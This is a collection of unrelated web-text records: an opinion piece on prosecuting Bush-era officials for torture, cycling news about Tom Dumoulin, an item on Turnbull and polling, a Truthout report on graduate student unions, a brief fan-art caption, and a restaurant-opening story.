be able to rely on their peers to conceal their wrongdoing and protect them from prosecution. This not only erodes the rule of law, it also helps create a culture of impunity that will inevitably give rise to such actions once again. The UN report cites former Yale Law School Dean Harold Koh as describing the Bush administration’s legal definition of torture as, “so narrow that it would have exculpated Saddam Hussein.” To his credit Barack Obama has finally called a spade a spade and identified Bush officials actions for what they were: torture. Having done so, it’s now incumbent on him to stop protecting the officials who authorized this crime from legal scrutiny. Photo: Wathiq Khuzaie/Getty Images	{ "pile_set_name": "OpenWebText2" }
Image 1 of 5 Tom Dumoulin (Sunweb) pushing the pace on the Poggio (Image credit: Tim de Waele/TDWSport.com) Image 2 of 5 Tom Dumoulin (Sunweb) pushing the pace on the Poggio (Image credit: Tim de Waele/TDWSport.com) Image 3 of 5 Tom Dumoulin (Team Sunweb) finished second (Image credit: Jonathan Devich/epicimages.us) Image 4 of 5 Tom Dumoulin finishes fifth in Strade Bianche (Image credit: Tim de Waele/TDWSport.com) Image 5 of 5 Tom Dumoulin gives interviews (Image credit: Tim de Waele/TDWSport.com) While the Classics stars are navigating the cobbles of Northern Europe this weekend and next, Team Sunweb's Tom Dumoulin is firmly focused on altitude training ahead of a return to the Giro d'Italia. The 26-year-old Dutchman won the opening stage of the 2016 Giro and spent several days as the race leader before abandoning the race due to a nagging saddle sore issue. He recovered quickly enough to claim two stage victories at the Tour de France two months later, but Dumoulin confirmed to NOS.nl that he would skip the Tour this season and direct his efforts entirely toward the Giro. "The focus this year on the standings in the Giro," said Dumoulin, who noted he'd be "on holiday" during the Tour de France. In the coming weeks, Dumoulin will aim to improve his climbing legs ahead of his impending contest with the likes of Movistar's Nairo Quintana and Bahrain-Merida's Vincenzo Nibali. "Last year I did not go to altitude training, but now that I'm really going for the championship I train differently so that my season is better than ever," he said. Another challenge will be finding the right balance of time trialing and climbing legs ahead of his Grand Tour bid. The silver medalist in the Rio Olympics time trial, Dumoulin has aways been strong against the clock, but he found himself wanting in the stage 7 time trial at Tirreno-Adriatico earlier this month after delivering strong performances in the mountains. Rather than climbing up the general classification standings on the final day of the race in a discipline he has bossed in the past, he finished a disappointing 13th on the stage and dropped a spot on GC, closing out the race in sixth overall. "I was too careless," he said. "I have to keep working on my time trial." Dumoulin will make his next race appearance at Liège-Bastogne-Liège in his build-up to the Giro, and then he'll race the Tour de Suisse before his July holiday.	{ "pile_set_name": "OpenWebText2" }
Prime Minister Malcolm Turnbull has backed away from a key argument for rolling Tony Abbott in 2015, denying that consistent poor polling should represent a trigger for a leadership challenge. Labor has led the Coalition in the 10 most recent Newspoll results, and recorded a 10-point advantage in last month's Fairfax-Ipsos poll. But on Friday, Mr Turnbull argued the leadership change was "history", and said poor opinion polls were not a "metric" for a leadership challenge. On the day of the 2015 party room vote, Mr Turnbull cited the Coalition's dire polling position as evidence the government should change leaders, arguing it showed Labor was on track to win the election against Mr Abbott.	{ "pile_set_name": "OpenWebText2" }
(Photo: Prasit Photo / Getty Images) Not surprisingly, when graduate students heard that the Republican tax bill included a provision to tax tuition waivers, most became both upset and angry. But rather than despair, they organized. On campus after campus, in city after city, they mobilized to protest the 2017 bill. Their concerns extended beyond the injustice of taxing in-kind financial aid incentives as income, to include a broader progressive agenda: opposing racism, sexism, classism and homophobia; denouncing corporate tax giveaways; fighting the growth of anti-intellectualism; and countering attacks on publicly funded education. Austin A. Baker, a Ph.D.-level philosophy student at New Jersey’s Rutgers University, joined students from Drexel University, the University of Pennsylvania and elsewhere to oppose the proposed measure. “If the tuition waiver portion of the tax bill had gone through — thankfully, it did not end up in the final draft — it would have made Ph.D. programs completely out of reach for working-class students and students from low-income communities,” Baker said. “We could not let this happen. Those of us who are required to teach undergraduates as part of our training understood that our students deserve to have mentors who are racially, sexually and class diverse. This is something we’re committed to.” Although Baker knows that protecting campus diversity will be an ongoing struggle, she and her peers see union membership as the best way to support progressive pedagogy and improve working conditions for graduate students and university staff. Furthermore, as part of the American Association of University Professors-American Federation of Teachers (AAUP-AFT), students at Rutgers see the union as a viable vehicle through which to oppose Trump’s corporatist agenda. Rutgers is not anomalous. According to Shannon Ikebe, a spokesperson for the Coalition of Graduate Employee Unions, more than 40 graduate student unions currently exist in the US, and the number is growing. In fact, between September 1, 2016, and May 31, 2017, seven bargaining units representing 7,439 employees — at American University, Brandeis University, Columbia University, Grinnell College, The New School, Portland State University and Tufts University — were certified by the National Labor Relations Board (NLRB). Members each belong to one of four unions: the AFT, AAUP, Service Employees International Union (SEIU) or United Auto Workers (UAW). Organizing Spikes Among Part-Time Faculty William A. Herbert, executive director of the National Center for the Study of Collective Bargaining in Higher Education and the Professions, Hunter College at City University of New York told Truthout that the idea of graduate student workers unionizing goes back to the late 1960s, when activists at the University of California-Berkley and the University of Wisconsin-Madison demanded recognition and representation. “Most collective bargaining units of graduate students have been in the public sector, where students receive compensation for teaching or research,” Herbert said. Nonetheless, he notes that the situation shifted after a 2016 decision by the NLRB in a case involving Columbia University. The decision allows grad students to be categorized as employees, rather than student apprentices, for the purpose of collective bargaining. Since then, there has been a surge in unionization, with organizers venturing beyond the public sphere into private educational settings. Herbert credits one other shift for this development. In 1980, the Supreme Court held that tenured and tenure-track professors were not entitled to bargain collectively because they were deemed managerial labor. “This led to a decline in the number of faculty unions at private colleges,” Herbert said. Fast-forward 38 years, and the majority of teaching is now done by part-time workers — adjunct professors and graduate students — a shift that Herbert says has unwittingly boosted unionization efforts at private schools, since contingent workers wield virtually no institutional power and cannot possibly be considered managerial employees. Herbert adds that when coupled with the two-year-old NLRB decision in the Columbia University case, a spike in unionization bids on a wide swath of US campuses on both coasts and in blue areas of the Midwest was almost inevitable. Unfortunately, this turn of events has been of little help to Justin Cook, a Ph.D. candidate in Rhetoric at Texas Woman’s University (TWU), a public college in Denton, Texas. Every semester, Cook takes two classes and teaches two sections of undergraduate expository writing, each with 20 to 25 students. His salary? $1,460 a month. “Out of this, I have to pay $400 a month for health insurance,” he told Truthout. “This does not include dental or vision, which I have to buy separately. My money is so tight I had to apply for food stamps.” Cook calls his financial situation “terrible, pitiful,” and says that the only perk he receives as a Graduate Teaching Assistant is being allowed to pay in-state tuition — a savings that totals approximately $5,000 a year. “Over the past 18 months, the graduate students — at both the Masters and Ph.D. levels — have talked about forming a union, but we’re not there yet,” Cook said. “We did protest the tax bill and tuition waiver proposal, and took down posters put up by the ‘alt-right’ each time they appeared on campus, but Texas is a ‘right-to-work’ state, so our jobs could be in jeopardy if we organize. We’re not trying to burn the place down, but we want to remind the university that we’re people. We provide a service and have a right to pay our bills. I should be able to buy groceries without food stamps.” Other colleges in the 28 “right-to-work” states are in similar straits, which makes the contrast with unionized programs particularly stark. For although grad students with collective bargaining protections often still face financial difficulties, the benefits they’ve won make it possible for them to focus on more than basic subsistence. Unions Are Game-Changers Sudip Bhattacharya, a doctoral candidate in political science at Rutgers, is a case in point. Bhattacharya has funding — a fellowship stipend of $25,000 a year — for four years, plus a tuition waiver. Thanks to family support, Bhattacharya says that he gets by fairly easily. Nonetheless, he is aware that students who don’t have family backing, or who have children to care for, live far more precarious lives. “The cost of living in New Jersey is very high,” he told Truthout. “The union has pushed economic issues so that people can live a decent life.” That said, Bhattacharya emphasizes that the Rutgers bargaining unit is involved in more than just bread-and-butter concerns. “We want to create real change on campus,” he said. “This includes paying people a livable wage, improving health care access, increasing the number of faculty of color, and fighting against attacks on civil, political and social rights. Our union, [AAUP-AFT], looks beyond what we need at Rutgers to look at the wider picture of what society needs. We address the harm that is being done to poor and working-class students, the harm to our environment, and the harm caused by things like the Muslim ban and attacks on undocumented students.” Similarly, Anh Tran, a Ph.D. candidate at the Graduate Center (GC) of the City University of New York (CUNY), told Truthout that her campus union, which is part of CUNY’s Professional Staff Congress, is focused on financial democratization and transparency, as well as winning better salaries and workplace protections for everyone in the bargaining unit. “The GC administration has so far refused to give us a line-by-line accounting of the budget,” she said. “We want participatory budgeting — where we have input into expenditures — and have held speak-outs on this issue. We also pack the president’s office during his weekly office hours to raise our concerns.” Although they’ve yet to make headway on this issue, the group already has several victories under its belt. For example, a proposal to impose a seemingly arbitrary “Master’s Program Premium Fee” that would have raised the amount students paid each term, was quashed after student protest. “Being in a union makes a huge difference,” Tran said. “We have been able to get graduate students on the bargaining team for our contract negotiations, and got the Graduate Center to set up a new emergency fund to help undocumented and DACA students cover legal fees or meet unexpected financial needs when they arise.” Other public institutions, notably within the University of California system, have won not only salary hikes, but also guaranteed access to gender-neutral bathrooms and improved childcare subsidies for parents. However, with few exceptions, gains for grad students attending private universities have been less noteworthy. Although numerous private colleges have tried to organize campus unions, New York University (NYU) remains the only one to have negotiated a contract. The first agreement was reached in 2002; the second in 2015. Activist Jennifer Lenow, a doctoral candidate in psychology, reports that NYU has been something of a bellwether. “People at other universities look to our contract and organizing history as a model of what’s possible,” she said. She explained that NYU organizers are heavily involved in the Coalition of Graduate Employee Unions, a loose network of graduate students who come together each summer to strategize, plan and socialize. Among the issues for 2018: how best to deal with anti-union messaging. The Coalition, which includes more than 40 graduate programs, also tackles solidarity work — between campuses and within progressive communities, more generally. Although no one underestimates the threat posed by the Trump administration, members are cautiously optimistic about the future. Having beaten back the taxation of tuition waivers, they feel ready to begin the hard work of negotiating contracts and extending union protections to as-yet unorganized colleges. In the short term, however, all eyes will be on Harvard, where nearly 3,000 graduate students will vote on whether to join the UAW this spring. This will be the university’s second vote; irregularities during a 2016 election invalidated the previous results. While pro-union activists at Harvard believe they’ll prevail, not every private school is choosing to push a vote on unionization. Students at Emory University, in Atlanta, for one, have decided not to push for recognition until a more pro-labor administration is in power. “Emory has a multibillion-dollar endowment, but rather than use their resources to support graduate teachers and researchers, they are paying a union-busting law firm — Proskauer Rose … to fight us,” student activist Jonathan Basile reports. “Because of the anti-labor positions of judges appointed by Trump, we believe that any school that wants to prevent its graduate students from organizing will be successful. That’s why we’ve formed a voluntary membership union, sometimes called a minority union,” Basile said. This group has not been elected to represent the students, but that meets regularly to formulate demands and take action. Basile believes that will allow Emory’s grad students to spring into action when it becomes possible to file for a unionization vote. He, like the thousands of graduate students on campuses throughout the country, have no illusions. At the same time, they see unions as necessary in today’s fight for progressive values, both on and off campus.	{ "pile_set_name": "OpenWebText2" }
Spooning: Dan's turn to be the big one By danichanxD Watch 22 Favourites 4 Comments 3K Views It's 5:00 A.M. going to bed now...Got this idea a bit ago... Will upload second part of it tomorrow...well later today... -------------------------- Dan:"hehehe" Doug:-woken up by the giggles of Dan-"Wha...? Is everything okay?" Dan:"Mhmm"-keeps humping him- Doug:"C'mon...it's 5 in the morning, sleep already we can play later..." Dan:-nods in denial-"Nope, I want now" Doug:"No!! I'm tired and...wait!!...Why aren't you wearing any pants!?" Dan:-smiles at his love as he keeps humping him- Doug:"God damn it Daniel...This is why you can't be the big spoon, you get easily aroused!!" ------------------------------------- Doug&Dan (c) DaniCh Productions 2012 IMAGE DETAILS Image size 485x491px 110.21 KB Show More Published : Jan 6, 2012	{ "pile_set_name": "OpenWebText2" }
Deep-dish pizza, handcrafted beer and Pizookie dessert will debut to diners this morning at Bridge Street Town Centre in Huntsville. New-to-Alabama BJ's Restaurant & Brewhouse will open to the public at 11 a.m. in a new 8,000-square-foot facility in Bridge Street's Phase III expansion area near DSW Shoes and BRAVO! Cucina Italiana. General manager Bill Miller told AL.com in June the restaurant will employ 175. The casual-dining brand, which is based in California, has more than 160 sites under four different names: BJ's Restaurant & Brewery, BJ's Restaurant & Brewhouse, BJ's Pizza & Grill and BJ's Grill. The Huntsville restaurant will be open from 11 a.m. to midnight Sunday through Thursday and 11 a.m. to 1 a.m. Friday and Saturday. In addition to pizza, the chain has salads, steaks, ribs, sandwiches, pastas, vegetarian dishes, gluten-free meals and kid-friendly food. BJ's will join the ranks of several other new Bridge Street businesses, including Texas de Brazil, BRAVO! Cucina Italiana, SHADES, Steel City Pops, Belk and Orvis. Bridge Street was recently named the state's best mall in Alabama Magazine's July/August 2015 "Best of Bama" edition.	{ "pile_set_name": "OpenWebText2" }

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